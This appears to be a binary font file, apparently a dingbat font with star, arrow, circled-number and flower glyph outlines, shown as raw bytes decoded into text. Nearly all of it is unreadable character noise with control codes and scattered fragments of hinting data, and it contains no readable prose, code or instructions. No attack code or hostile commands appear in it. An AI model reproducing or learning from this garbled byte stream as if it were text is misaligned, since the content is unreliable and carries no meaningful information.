���7!!��(�����7!!%!!�`��x`����������M&jj�����M&jk�����N&kj�����N&kk�X��	6%'&/#'!#67$#��	���cKL�����`�5�+b(}�*]55(��B�
J�N��X��#'!#67$#�KL�����`�55(��B�
J�N��j��	'7'77	'77	''6���ƺ.�+�ŸMM�Ƹ,�,E#����?����=~Q�ǻ,�,�Ⱥ��O�Ȼ-�,q�t5�����@�������e�R32>54.#"##"'5##"$'&'0!5!5&'.4>32!!676767'%''H&(G()G'%H(�%'���V
W3WI�mu��w>DE}AB|GE=m��d^�JW4WV�s�'H''H'(H''H��`XAK|@X1(ԁ3"|�}DD}�|"	2��/
"1X@|��AX1#
�/	673&/'67&'"&'6?&'3	'	�K[]�><+G�g['fB��Be&\h�?(K?�]\K�� ��!���;<uI�@*"O�8B1"��1B8�H$L�Iu<;0���:ƕ}����*CT'&#"'5&767#&$'&%'6'&'''$'676'&5$'6%'.54>32TD$�#��@F���,����MMM�v
�E8p_Lc1���
��M**�+��B@0"AR/0?wA�%od/D&3.YaQ/5#3$"����u��I'
@3/u�= =#n-....y����3%	%	32+#".7!"&'&'#&=4;7337_����������8)�0/�_^�a�M`���1/� 9�53����4�<��LL<��L�*(��D>?GG~F6��F~GG?>D9/��C���}��"632&'.'#!#!#Ҹ�62�K#+~~�R!N���x��_T����V_�T	'�NQ9;�:;P�Hi?C��D��|���)�)Z)�
132>4.#"367#&7&$735&'.4>2�2[02[24Z1/[���)'5*.�X��A<NWX���ZXN9�dY22Yd[00�-��&皗������1�
�#+���UU���+ ��j�?GO277''"/&'&'7&'&'7&47'6767'676?  "&462jX+C@~L@T/!�%��%�!/T@L~@C+X+C@~L@T/!�%��%�!/T@L~@C
����l��[�[[���
�-@�2<T\E#D#F[T<3�@.����.@�2=T[F#D#E\T<3�@-�
��������ku�[[�[��%�
!&+05:?DP�3&7"7&'7&'7&'7&'6'6%676767&77&77&'"32654&'5&'.4>323#67#&#"/&'&547&"'6%676V �n*[�n%'ZxL0<{2;&b;>/2:.�m*nW)'$o`0LP;2F<;(e:2/"7LL75MLZ'&4)PNPU�Q74(43(4:X�UPNR	(�"@Dv>0&8a>!U*~EmL�K}`�G
�f�7r
&0>j!>a)�E~C�K�W�
G�is7�g:M57LL75M-Z
'*''*'
Y	(�5[�J5(	��\d	(5J �[4�
	''�&.FR���������2#".54>&'767&%76'&''67&'&'&'6767654676'&7>326'##"'&'&'&54767&'&547676&'&#"6&%6767&'&'&676&5467&'&6732767&�$$$$�OG362ec���ce74GL944m/122102/.303112.OF}68ge��"w?>v"�rt #8��7!�":;@A<:"��!6��6# sr*./13/.UVT\<>"$!!��	!"#">k�cg86|FO	93399	<>#"#�><	 "$ZTU./43..V5$##$�59gTVV9Z^^Z9++VTg9�'(''&()I8:9889:Z_59eUV-,	����<8.>euvc>-7=�bccb�>7-?cwud?/8M�WZZW� **D@@D+8,-VTe95^�&)(&''(�DA:AD.*!�Y[[Y�!&�)p~�67&'67&'4&6%67.'4'6&&'6767&54?67&'&#&'#&'5&'"'67&'&47632>4.#"%2#".4>�'7,3	3%/0��),7�=*'��0*+3.22'��Q Yf��T,1'��').U��fY Z98 "2
B2;F_  XB?2C
3" 894i�hg�ik�ce�"S�[X�VW�XZ����#e��jp�McNTvJKr�?VlLWW7�p
j��k%�n^*V{ww[1���1[
ww{V)\#f�d-#JM7B/"��"0C7NK",d�f#�νhh�οggQU���XX���U�S��	!!Y�,�q@��I@�,�q��Ȥ7�T��U7����S��'!57|,�q,��Iw,�q,���ɤ�窪���8�d��
%3!'#!52#"62#".54>�"��	�h9�|M463%&$$�5		���O	��D��n;�
$$$$���33'554#$/���[��Q�w�����GSG�UW
GJG���Z�*1=C&32632!!#!#!5!&"327&7&!&7326&#"6'X�P�}}��R������������?9��9�XezfH9?���A:���uut��LFF���"�~��|����|	��������-
��	
��G���P8lGrr����[0�$,8>& 67& '&'&'&!7!!! 6'&265"�u���t.77�����!�u$�l�Y�oi��������p���@qDi�����4tE�u.�����$r�l,�36����l�%e��Ug\��x��u���v��Sc?\�7��=1l�Hr-��ؤ������-9E6'#"'!!#!5!&'&326!7!%"327&7&326&#"�suuW���~Wd������P�|���oj�����p�����?9��:v8?���A:���llGr���E,
��|��|	~��LDJg\���u����������
�H���O����U(&  6&32!7!!!#!5!&y���E�ߩP�h�����p�������C������Ln[���u�����~��|��|	
����/M#"'&'&'&54767676327'7'%'276767654'&'&'&"(F3"D"&%#C:bV`ZZ^;D"&&$AB[X]:3G�9���:��]��:�F=~=<.,/*??z?<.+.(�!$HS\[Y[VF=*%%'>HS]ZY^XAA&%�i�iD^���29�i���..=<?A<92-.*?:CA<91*���Aa62'%'!!#5!5!5&'&'&'&5476767''7'''7"3276767654'&'&'&�4p6��9��]�.(E$##$E@Z-<���81VDE$###F'1�9�T]���9�T�:��G5>+../:9CG5>+../:9��\���2:�a(EVUb_UVE@(
����	%CEVU_bUTG(Hi�j��:ο�\�i�j�+.<;BA;<./+.<;AB;<./���4�/O!!#"'&'&'&5476767675!5!'	276767654'&'&'&#"���<-Z@E$##$EDVRbfNZ@E$##$EDV18���kbbj�C9:/..+>5GC9:/..+>5�疑
(@EVU_bUVEC%##(@EVUb_UVEC%	���ka��j�P/.<;BA;<.+/.<;AB;<.+	��/O####"'&'&'&5476767632333'7	'%3276767654'&'&'&#"�ܖU
(@EVU_bUVEC%##(@EVUb_UVEC%	U�ܭka��j��/.<;BA;<.+/.<;AB;<.+���<-Z@E$##$EDVRbfNZ@E$##$EDV18��k����j�C9:/..+>5GC9:/..+>5�4�;2"'&'&'&5476767"327>7654'&'&'&��RUEG"##"GEUR�RUEG"##"GEU�C9;\.+>6FC9;\.+>6�#&BIRUb_URIB&##&BIRU_bURIB&s\<;BA;<.+\<;AB;<.+�4�2"'&'&'&5476767��RUEG"##"GEUR�RUEG"##"GEU�#&BIRUb_URIB&##&BIRU_bURIB&���J;"276767654'&'&'&2"'&'&'&5476767�R#$$#R#$$��=>3443>=�=>3443>�"$)($##$()$"�06<?IF?<6006<?FI?<60g�MJJeu&'&54767"#"32#"'&'&'&54767676326762#"'&73276767654'&'&'&#"#'67654'&'�*")$#)�	=HK:C.221@=HK:		=�=@122.C:KH=	�)#!  !#)�##?FM;" "$)($&t.2@?FI?@2112@?IF?@2.x
&$()$'
#?IF?#% $()$ $)($ TZ`z!A_3#"276767654'&'&/2#"'&'&'&54767676"276767654'&'&/2#"'&'&'&54767676��R#)$#R#$$LK:C.221@=HK:C.221@=�R#)$#R#$$LK:C.221@=HK:C.221@=z��Z"$)($&#$()$'�.2@?IF?@21.2@?FI?@21�"$)($&#$()$'�.2@?IF?@21.2@?FI?@21
��JA_}676767632#"'&'&'&'!#"'&'&'&5476767632$"276767654'&'&'$"276767654'&'&'�61@=HK:C.221@=HK:C.5
��21@=HK:C.221@=HK:C.6�R#$$#R#$$��R#)$#R#$$5=51.2@?IF?@21.4>"@21.2@?FI?@21.5="$)($##$()$""$)($&#$()$'��R5%%%x�����r�6��׊eM�M^�x��x��V�)7654'&'575#!&54767'5!s_vR$N:�:N$Rv_���{aT,X@X,Ta{��4b\)1�%==%�1)\b4ߴ�:�`�\KD��DK\�`����-�&  6& #&y���E�ߩP�S�����C������L���"�~�{�Y��,�!#!5!326& '6 !I���(4���~u��P�����|��G�jt���� �~��|���,�	!!#!5!7	�>>�!���VL�����;����|��|�oJ�����,�737!!'!!#!5!'!5!{���{����~z�����z�~��z�d���z��|��{���|��|R�{|x�T%	
!	!5!	#!7!#	#T��?�?���LL�w��������J|�A�|��J��Z�t��|��J��,��$264&"&7673%
%&u�uu�>�hH]�%V��gV��YFh�ݦuu�v���#gG�έ��Ҕ���Eg���D��X�!#!5!&'&5%676'!H����fN)]�H;�bt�WUJn��|3L�u�.�:;���͢8%�|V^m3 76= '&  7654'7! '.54676! ���NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9�`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�
-E  7654' 76= '& 76= '&! '.54676! ���Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9ghVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9sV^m!1?U! '&'!   '&'&76767 76= '&  7654'7! '.54676! x8����;�41�� �::���; 9٫�NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9d]]c�]]]�Փ`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�!-;K[s  '&'&76767! '&'! ! '&'!   7654' 76= '& 76= '&! '.54676! K �::���; 9�8����;�41�8����;�41
��Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9]]]�]]c�]]cehVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9s���-� ,"&54632#"767'	2654&#"�@a^CF[^������������cc��Z��礡��}[D>XUAB]�~���Lޜ~g���]�����䤣�أ���lZy�'#"'&#"'&'&'&547676763232767676'&'&'&/&'&'&547676762!2!%3276767654'&'&'&#"&#"3276767654'&'&��s�*	
$+$$$
#*#%>aZ%
NT>%
 #HH
	
")mR��Oe�b�





0



��
 
$&$ 
'
D"&% 
$ #
mR )K�y	


	�	
			V!E�r�26767654'&'."#"'%"'&'&'&54767676;27>764'.'&+"'&'&'&547676762%632$"26767654'&'&�.&&.&m,mQ��j�P
(!N!"(!'CVf&

&bZC'!("!N!(
P�jo�Qm,��.&&.&q



l�?W�,>#

"#"
"		"
"#"

#>,�W?~



�lOYx�3!#!"'&'&'&547676?6767676'&'&'&#"#"'&'&'&547>763276;%326767654'&'&'&#"6767654'&'&'&#"32����eO�uRd2
	
HH# 
%>TN

+Za>%#+$
4$$$+$
	'�s��	

*

	

*
O�K) Rd#!#&
"*"D'  ""! 2
 	T	

�:	



	I���Zx����-4H67&'&'&+"'&'&'&476767632%632
#"'%#"'&'&'&54767676;276276767654'&'&'&"276767654'&'&'&""'&'&'&547676762"'&'&'&547676762'&'&'&547654'&'&'&";276-&#"+"276767654'&5476%327%&"'&'&476762I	Q\C--%("(/*0.,+"(
/�X]�\�9��<�\�X�/"$)0*3')"*
%1*0CR[��	

		

		

		

	22				2				2				2				�%�'

&J 


&%C\d#��_*]O���hXC%&


 J&

��O]*���								�

 
")&`&"'$"/'	<%�ZS
��%
SZ�%<	/'* "%5"-($# 	��;��8\=
! ! "
���/V�C
" ! !

[uV/�+							V��^�n��3276767654'&'&'&#"&'&5476767632#"'.54767&54732#"#"676767'&#"'67654

o��zwbd011.f_zx��|wbd011,k9995ul������sp:995un�����*D$l��Q$"	6*D?"5'K(2-
#%�>


:7331cdvw��wqi`4331cdvw��xD>�m������wn<;;8ro������wp:;;BV0/+"���8:D@*|sa 	-F(7"*=8&0!2  1-5$&
6:B4V��^�,Ji�&'&'%&'&"632%676767654$2"'&'&'&5476767"3276767654'&'&'&'2#"'&'&'&54767676�?!*$ 1�$-+h+-$F3782�*	!?��1 $��>>9�|wbd0111c`�zwbd011.f_zx����sp:995un������sp:995ul��wIP�"2-.$ 	�""�		��PI� $.-2!v31cdvw��zwcaf31cdvw��wqi`43d;8ro������wp:;;8ro������wn<;x,A�-57'36%33#3#!2#!3#3##$'#7�$@d��5�{s�Vd�]�F0  0F���]�dV�s{�5�⒒d@�(��
j�P�P�,�P�P�`����0�
")-	!676762!"'&'&'&54!���X�$#R#+/��R���F��F$#R#$1�S����h,��		������k��-�"�s!�����|�K���476?6763&'&'&547632676767654'&7632!54'&'&76'&&#"'&/&'&'&#"#"'&'&/&'&#"&'&'&?6'&'#"'&'&#"!'476/654'&76'327654'&'&327654'&/�%4&)"$0JK&
$)7
	��	%1�'#
#6	+-L
_�_^/s4*1(
.266	|/(1	

\�	��#:7
l�S&x�71]%
/~[#<$ o�_%?,�:
*(;�Y��)$X$+|��=L�!6CX&PY8�9Do6�
b'n�283�eF]4T&
& /50$?- 1@&	3l
K

C"P1�	��:07@D:5XI6.D3�[+-1:
			q/A8	

g+�jl9Lp{��7654'"'&#"+"'&54?67676763276323273#5%6767'&#"6"/67#"27632327654'73654'676547&�p/l0&�J!cS%Y���E]{@C"$4>�-;%
��,(6�Y>�m��!N$X�6"/,(�4�sS?X$U�>"sJ?K(`./4�+2K2.�0>��S
�Zp0+��1^�' ��;cs /�^"|Y/
4�28ۇ��ϕl%�%ot�5oA='Y$	a���T*
''G+-
%_kj~r�}jL`І|�\g�K@/.85�c($����")3SZ67654/##3276?%%54'654'36767632#"'&54767632'%;66I�
���
��
�	}��g���
A���6��q�n

		
		

->
9@
�H67;���
��z���h�|	��9
>��6!q���

	




���B5��> '-EL4'&'&/767675'7!	!'!654'!4'!!$4767>2"&'&'!654'�
�33�
��^^^��RX�����I�#�J2�V��l�P�#�
	~!8�8!~	
U�pp�ph�����,��p�<((zd����")3SZ&'&#"227654'&'''%'654.#"65&'&'&547632#"'&'&6#"%	
�I66;�o�
��
��|����>A%6!��q�

		
		

9
��		;76H�
�
��
���	|��h���>
9�6��q�m





	
B��X{[#C'%%.'&"27>7%$6%"'&'&'&47676762%'�2&%k��




A����ڙ����>>d�I��ID`q��S
	
 

S��qG�Yq�>�q��)&%$64'%%&'&'&"27676�&����22�"k��**�!��q`�`q��!3�W
2327632#"'&'&5476�'(
�>� !�~��GH
".4F+�@x�H	)�0��$��'*'���27277632#"'&'&5476�'(
�e`�}{*�279HFb@y��J��L���1 -��A		'	7	�Ɏ�8�7��7��Ɏ�7��7��ɍ�8ɍ�?�	�t�������t��7tt7���t��7tt7��u������B2632#"'&'#"'&54767'&54763267632676�
��Q� x��� L$3��z(		
 
6X���3�������6*=P*>
"�#
������Q26#"'#"'&'#'&'#"'&547&'&54767&&5476326763276T
 �디% $$Yy�X$		��zc0+
j���:
(��̢1#:_����&
#-
�Խ=1 '2ĺ�pD�#!!!!!%!!!!!!!!#!5!36�H�V�������B���B�X���B�B�����U�H�V��P���B�X��y�B���pD�!!!!!!""��p��"���p��"�#pD�35#7!!#!5!3����r���r�s��r�spD�!!%!!!!!!���r�"��p��"�#��p��"�#Rb�!!#!5!3���p�p��E�U��l�3!!'#'!!#!!3!5@��������,r����,�,�����_��r,��,���_��>v�#!!!!!'!!!!!!!!#!5!3����h�����������m���_�|P��_��H�_��pD�Q#"#3;54'&'&'&#5!"3276767653#4'&'&'&+3!52767>5{dZYIB,$22$*DE]Vh{%'GC_Rl|lR_CIJ{hV]ED*$22$,BF\Zd{%'GC_Rl��lR_CIJ�&%IB`Oo|oO\FG'$zdZ\GB+%22%+BI�dz$'GF\Oo��oO`BH&&{dZ\GB+%22%+BI�d����� #!!!!!373#'7#Z����A��A���:��L���lحmllm�z�l��mllm��|�}�}�|���d��� �d���}�c�����T��`�C54'&54762327632#"'&+"'&5476=#"#"'&476323(L,68x86,L �zFvd0000dvFz� L,68x86,L �zFvd0000dvFz� �zFvd0000dvFz� L,68x86,L �yFvd0110dvFy� L,68x86,LV��^��&'##"&'&'&4767>32367675&'&'.5467676236767>32#"&'&'&'#"'&'.546767675&
�
 R.-R  R-.R "	�
*!""! ((\(( !""!#%

�	" R.-R  R-.R 
�

%#!""! ((\(( !""!*�*!""! ((\(( !""!#%

�
 R.-R  R-.R "	�

%#!""! ((\(( !""!*
�	" R.-R  R-.R 
�
S��a��4'&'&'&'.54767676322767676767632#"'&'&'&'&'&#"'&'&'&5476767676765"#"'&'&'&5476767632($
((& :.:806$&&
)D+:!

'228:/3&$$&3/:822'

)2/@!

'&$6/r/6$&'

'?03'
&d8:02&!$&20:=-2&
(20C,7"
&d8:02& $&20:=-2&
(10?!

'&$6/r/6$&'

'D+:!

'228:/3&$$&3/:822'

)2/@'
((& :.:806$&&
(T��`�0267632#"'&'&'!&'&'&54676763267632#"'&'#"'&'&'&5476767!6767632#"'&'"'&'&'&54767#"'&'&'&5476767632!#"'&'&'&54767#"'&'&'&476767632&'&5476767632!#"'.'&5476767632&'&54767676Z



(
&	 

	��	

<

4	��
	












%
(



�


(


��
2



	

6


��
	

	
%		

	

<


%


(


W��_�276767653"4'&'&'&W���sp:995ul������lu599:ps���;8ro������wn<;;<nw������or8;W��_�?247676763"'&'&'&5!276767653"4'&'&'&ee\WJI&%%"MF[[ff[[FM"%%&IJW\�����sp:995ul������lu599:ps���&%JHZYif\UMH'&&'HMU\fiYZHJ%&;8ro������wn<;;<nw������or8;0����	%	%!	!0��$��$ѿ����������6��a���������l��LlV��^�	)!	!2#"'&'&'&54767676Z���¬�ì�Ӭ���sp:995un������sp:995ul������H��H;8ro������wp:;;8ro������wn<;0����'"276767654'&'&'!	!��99000099�9900009|�k������k�-28;BA;82--28;AB;82-&������l��Ll0����	'1%	%2"'&'&'&5476767!	!0��$��$��99000099�9900009|�����������6��a�����-28;BA;82--28;AB;82-&������l��Ll0����	!''!!	!!	!Z`5�_��_�5`��/x�xx�x�/��k������kI�ٶ�ڶ�&���G��G����������l��Ll0����	3'7'3!	!7!%%!Z&|d&dd&d|&�k������k�s��/u//u/��IvIvIIvI������l��Ll�������c�0����%5%7'%!!	!�x��x�x��`�/����k������k����K���K���G�T������l��Ll2��
	'%'!!!!��>�����j���>-�����'��O^�__�^�Oq����4��4H4�"h�d��d�����0�!%
%!-�@���j���j���j���k��*������*������37'7	#'�xx�xx���.x���x�.�x�.�.x������
��������
�����pD�	#'!5!73!��G�Fd�FG���r�EG�d�G�Er��FG���q�FG�d�G�Fq���G�Ed@��L�	
		-	FO��F��c�,OO�,c��F����d�,PO�,d��G���OP��	T��`�'!%%%!%%
%-��wD����{��ww�f#w��%�f{ww�����y��|���|��y����{��xx�f#w��%�f{ww���xE����y��|���|��y������������%	%	Zp/�A���pp����A/��}�}���E����T��`�	
		-	Zq�����Nqq�N������Nrq�N�����qr���T��`�%
%-Z�y�l������������l�y����������l�y��y�T��`�%%
%%-ZtGc�V���G��tt��G���V�cG��G��st��G���W�cGtsGc�pD�/3%!!%#'''%!5!%777x�o�:U���.�c��F�.�d;U�ǩo�x�o���U:�e.��E��c.���U9�o��E�.�f:U�ūo�x�o���U9�g.��F��f.���U:�o�x�o�9U���.���
��54'&5476276767632#"#"#"323232#"'&'&/"'&5476=&'&'#"'&'&547676323232?&547'&#"#"#"'&'&54767632676'K,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'El��wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;���
��"276767654'&'&/54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676o**YK,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'ElPL�wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;����j'&'&'&767654'&54762767676'&76'&'&/#"'&5476='&'&76767�/1�oS\**nH\W+G80j@6R�R6@j0/P1Q\Hn**\Wk�9000�oS\*,lLXW+G80j@6RTXN6@j03L/S\Hn*+[Wk�6�	05HoIH 53c�!77�\`j4OO4jfV�A7�g/5 HIoH53 	05HoIL43c�!77�\`j4OO7gfV�A7�f05 HLlH53 �������67654'&"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"#"'&#"327676%32767654'&'&#"#"Z8%1T1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3��DA	
5<;
>
+F$�H$F+
>
;<5
	A�cJ2QD++DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(�""'!$(:UJJU:($!'""nF��"276767654'&'&'767632#"'#"'&'&'&'#"'&'&'&5476767#"'&'&'&5476767632&'&5476767632��=>3443>=�=>3443>x>%85670-)-%8/>0!-)-02;>/8%0
)-02;>/8%-'&$>/:#-)-02;>/;))-02;>/8%-06<?IF?<6006<?FI?<605+'61>:4/.&"./4;=16'+&1,"%&!6'+&./4:>1:#"$./4:>16'+,4:>16'+&./4;=1nF�n�����%#"'&'&'&5476767#"'&'&'&5476767632&'&54767676267632#"'#"'&'&'&27654'&'&'&"67&'&'&'276767&54767'&'&#"276767654'&/7676767654'&'&'&#"Z
0%8/>;20-)-!0>/8%-)0-<1:3%>-%8/|/8%->%85670-)-%8/>0!-)-02;>/8%0
M�=	
 H 
	C# B/g

 H �*x#$ 

 -7 H 

g/B �� 

 $#x*�%",1&+'61=;4/."&./4:>16'.5
1=;4/.&&./4;=1
5+'61>:4/.&"./4;=16'+&1,"8_/$ 

 $/_�c.,b" $# 

!�I?30C

!'# 	��x!

 #$ "b,.$	 #'!

C03?I
T��`�-[�3b���&'#"'&'&'&547676763267'&#"327%327676764'&'.#"7632#"'&'&54767676324676762676322##"'&'"'&'.5#"'&'&'&54767"'&'&'&54767676&'&'&'&'&'67676?&'32767677676765&'&'.#"7676767&'&'&/326767674'&'&'67'&'&'&#"67'&'&'&'67676767"276767654'&'&'"'&'&'&54?&'276767654'7654'&'&'&"67'&547676762:�	


	��$4

$�$

4$��


��% !()-+,)$"! ((\(( !"&',+-)(!'7'&"# ,*2% !()-.))$"! ((\(( !"(%*-,*(! #2*&"# "&'��


		��!


4 �
�!



4 
g�


	��	

	�i 4


!��g
 4



!��
	

	
oR#$$#R#$$	

	8

<

c7

<

7	

�



8
<

d8

<
6


 %),++*) !$3R  R3&!-(-%2(&"#%(.2$( &',+,)) !$3R  R3'! )),,+)$"#%(.2$( "�
�
		

	
�i
!xg


!��
		
	
	
�%�



			
�
�!
��!


g�


			
�"$)($##$()$"�$�

		

��%%�%%��

		

V��^�<\l"276767654'&'&/2#"'&'&'&47676762#"'&'&'&54767676%
%-�z35++++53z35++++5pWDM69 ;9JHSWDM69 ;9JHS���sp:995un������sp:995ul�������}���������}��(.35<;53.((.35;<53.(�"68MITNLJ;9"68MI�LJ;9m;8ro������wp:;;8ro������wn<;�}�������}�����������������"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"27654'&%&'&#"327676%327632
654'&'&#"#"Z*1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3�*1%8�~>
+F$�$��>
+F$H��
;<5
	A�~
;<5
	A��+DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(��G+DQ2J��$(:U���$(:U3�!'""��!'""���A''7'753'75377537'7'#5''#5'7#5'7'7���<��<�x��<�x�<��x�<Ć<����<��<�x��<�x�<��x�<Ć<��phMrhr��ohM��Mho���rhrMhp��phMrhr���ohM��Mho��rhrMhp��!%)-153%%
%%#'-75%77%7?5x#	<��$��	<����x���<	��$��<	#��#���������������x��̩���h����h������3�Q�h����h�P�'�c�cc�chcbbccbbgc�c��c��0�A37%37'
7'#%'#5'7#5'7'7-'7'753'7x�d��X<[�d��d�Y<\���d�x�d��[<X�d����d�\<Y�
�d��hQ���Λ�4h5Q������Q4h5���Ћ�QheQ��5���5h3Q������Q5h3���6��Q�����#"'&'67632#"'&'&547'".46767#"'&'&54767627'#".4767632&'.4676327&54767632�./56.��.65/.-/531/�.66\l\66.�//56.../j/��136\6./531/�.66./56\66.�0.65/3m6.5/.��./54///.6���\l\66\l\�6.//.65/.��6\l.//.6�\l\6\l\��6.-	a��S�.E\s"&462	7	7	'	'&'&'&5476762"'&'&547676#"'&'&47676326767632#"'&'&�X|XX|��}U��
�U���}U����U��9r99r�<%DREA 11 AERD%�<%DREA 11 AERD%,|XX|X�.�U�|J�U�~-�|U��
�~U�.<%DREA 11 AERD%�<%DREA 11 AERD%9r99r	a��S�+?Sg"&462				"'&'&476762"'&'&4767622"'&'&4767$2"'&'&4767;������i)U���)U��
)U��K)U��'.n.''.n.''.n.''.n.'�p17#((#71p17#((#7Mp17#((#71p17#((#7K������8)U��L)U��~��U)�^��U)Ip17#((#71p17#((#7��p17#((#71p17#((#7Y'.n.''.n.''.n.''.n.'	T��`�&3@MYam+%5%32476;#"'&'7632&54?#"632'&54#"/72#547"&462"'&=3`(
�`�
&��(
��`
&*��G)*��IG��)(*(G��e))��GI��R2d2�X|XX|R2d2�*2d2((2d2M*'��FI��*'F��e��F)*��IF��)*
(
�a�
'�U|XX|X�c(
��a
'T��`�l267632%632#"'%#"'&'"'&547#"'&54767#"'&47632&'&54763&5476Z+/#N42B4
�{�L"..$J%�(�4B+;
��N#/V/#N��
42B4��(%J$.."L�{
4B$BN#.�/#J�"�5C7/	��N".X.$M��51C5	��"J#//#J�{	5CLM$.X."N	51C!�w�J#/f����
#�+�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�%��+��
+���и/��и/��и�"�01! 4$#"# 4$32632!"��������������?�q��q�?����p��G�����Q�?�r������Az����7�+��
+�
�
��
+��+�01%!#!3!���d�d�,S.��S�d�,z�87�+��+��
��+��
+�
01%!%!35!�����,d�S.��d�d�,z����	7�+��+����+��+�01%!!!���S�d�JS.��SԂ�Jz�8	7�+��	+�	���+��+�01%!!7!�����,��S.��S�d�J������	/�/01	�SS���TR���SS����SS���S����SR�����U�����"S������#�����!�����!��X��(��+�/�+�01!33����R�(n?��x(��'�+��/�+����01!##xn��R�����?�(��
K�/�/��и/�ܸ�ܸ��/�
/�+���и��01!33!33����R������R�(n?����n?��x(��
S�/�/��и/�ܸ�ܸ��/�
/�+���и�и��01!##!##xn��R��n��R�����?n����?>�B-�OS2#"327676765!"'&54$3!57!##"'&'&'&54767676#�	
 ?>I-7��އv�3�T��%+>CPNHiDG-2/&D9���	.	!-8=DD_o����2�{��jTc@F'%.36<@M137+4V������52&'&547676762"'&'&'&5476767Z�y*,&������&%1]~|45,--,54|45,--,5�(+&014|d��΃fz410&$(�F*.46=<64.**.46<=64.*N��f�%C&%&547676762476767622"'&'&'&5476767Z{���&%1-l./&%%&/.l-1%&����|45,--,54|45,--,5�ġS�410&$%%1/66/1%%$&014�R���*.46=<64.**.46<=64.*n�F(%%&%&54767676247676762Z��_�75EA�AD6556DA�AE57�_���q�KFD6454FCNNCF4546DFK�o�X����'#"'&'&'&547676763"'&'&'&5476767632���r�JFD6464FBNNBF4646DFJ�p��`�84F@NLBD6466D@NLBD66�^~*��
i654'&#"632327632!"'&5!267&'&#"#"'&54763247632327654'&547632#"�
6+Jo.^V|;-�˙it36?��̺�fQMe�EJS?(*$ s]vh2K)*NL13<VL*-*8A*�_xAg0,?)!:"9�JOCQ>^�v:Mc*�Z����e��C0�3N35%&-Kt\K%9S >BWN=!$?$8(F!5{^?�Z�N676 547&'&327#"'#536767&'&'&5432&5476323254'&5432�?-BO>B���v06('K`dC+(�k$'eM?$#=Hb�B=)+8=.m�9ebPB��>$3g:=�T�EB7WPfG+1K�H�P<Ff#&T'0P+A'���<<Q�bF���/' "'&'&'&547676763"3/�����FDD@�����mh`�((((SNecr��GC����������FG/C>���������}DC���/'"05276767654'&'&#052�rceNS((((�`hm�����@DDF������/CD}�������>C/GF����������CG���!&547������������>�2�;����������0!!676P��JK����BA��<�������������!	!���$�����	!	���"�����#�{!	!{�<�l��`��9��	!	9��`���l���U�?!	!?������w�`	!	w���������HZ�j��j��j�j�l��'7'7Z�j��j���j��3��j�f��$#"&=4&+5326=46;#"3��l�==�k���D�V[noZV������t�s��ݓ�X��������X���N(326=467&'&=4&+532;#"+�D�VZon.-V�D�UT65�==�lTU�ԾX����GG���X�JI��9:�t���JJx��N�
K�/�/�ܸ�и/��ܸ�ܸи/�+��
+�
01! 4$32!5#!7#N�K���K�g��g���������L�7�h��������/�+��x��N�
&S�'/�(/�ܸ'�и/��%ܸи/��ܸ"и"/�#+�#�
+�
01! 4$32>54&#">32!5!N�K���K�g��g�ɈXԺS�hu�6CO*.����q��L�7�h������l�N�� �C,A7%D%����x��N�
6Ÿ7/�8/�ܸ7�и/�9�*ܸ�1�A�1�1]A1)191I1Y1i1y1�1�1�1�1�1�1
]�49�.+�.�
+�
�!'+�!�+��9�*'!901! 4$32%4&#">32+32#"&'32654&'>N�K���K�g��g����I�^_x;JKMX�d][]@�j^�N��re��L�7�h����A}|�%/).-�5316 0���_px��N�
S�/�/�ܸ�и/�9�9�ܸ���+��
+�
01! 4$32#!!535#!N�K���K�g��g����K�"������L�7�h�������ߣ��5x��N�
*��+��!+����A�!�!]A!)!9!I!Y!i!y!�!�!�!�!�!�!
]�+��
*+�
�+��'$+�'�901! 4$32>32#"&'32654&#"5!5!N�K���K�g��g��iw3S[[S;�uc�W��׿!=��V��L�7�h������(F?>F(=�$����\�x��N�
21�+��+��#+�A��]A)9IYiy������
]A&6FVfv������
]A��]A�#�#]A#)#9#I#Y#i#y#�#�#�#�#�#�#
]�)9�/9� +� �
+�
�+�01! 4$32#"&54632"32654&#">325.N�K���K�g��g��766666676��̹�Ȣ@nqg1iaQ���L�7�h������I@@II@@=�������� ;g*�x��N�
�+��
+�
01! 4$32%!!5!N�K���K�g��g����.�����L�7�h�����*�x��N�
1=��+��+�� +�A��]A)9IYiy������
]A&6FVfv������
]A��]A� � ]A ) 9 I Y i y � � � � � � 
]�#9�/9�;9�;/A�;�;]A;);9;I;Y;i;y;�;�;�;�;�;�;
]�5��+��
)+�
